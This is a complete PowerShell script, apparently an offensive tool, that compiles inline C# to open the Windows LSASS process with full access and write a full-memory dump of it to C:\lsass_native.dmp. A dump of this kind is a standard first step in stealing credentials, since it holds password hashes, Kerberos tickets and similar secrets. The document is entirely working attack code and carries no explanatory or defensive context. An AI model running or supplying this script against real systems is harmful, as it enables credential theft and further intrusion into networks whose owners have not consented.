lsassdump.ps1

$code = @"
using System;
using System.IO;
using System.Runtime.InteropServices;

public class MiniDump {
    [Flags]
    public enum MINIDUMP_TYPE : uint {
        MiniDumpWithFullMemory = 0x00000002,
        MiniDumpWithHandleData = 0x00000004,
        MiniDumpWithUnloadedModules = 0x00000020,
        MiniDumpWithFullMemoryInfo = 0x00000800,
        MiniDumpWithThreadInfo = 0x00001000
    }

    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("dbghelp.dll")]
    public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, MINIDUMP_TYPE DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode,
        IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);

    public static void Dump(int pid, string dumpFilePath) {
        IntPtr hProc = OpenProcess(0x001F0FFF, false, pid);
        IntPtr hFile = CreateFile(dumpFilePath, 0x40000000, 0, IntPtr.Zero, 2, 0, IntPtr.Zero);
        MiniDumpWriteDump(hProc, pid, hFile,
            MINIDUMP_TYPE.MiniDumpWithFullMemory |
            MINIDUMP_TYPE.MiniDumpWithHandleData |
            MINIDUMP_TYPE.MiniDumpWithUnloadedModules |
            MINIDUMP_TYPE.MiniDumpWithFullMemoryInfo |
            MINIDUMP_TYPE.MiniDumpWithThreadInfo,
            IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
    }
}
"@

Add-Type $code


$lsassPid = (Get-Process lsass).Id
$dumpPath = "C:\lsass_native.dmp"

# Perform the dump
[MiniDump]::Dump($lsassPid, $dumpPath)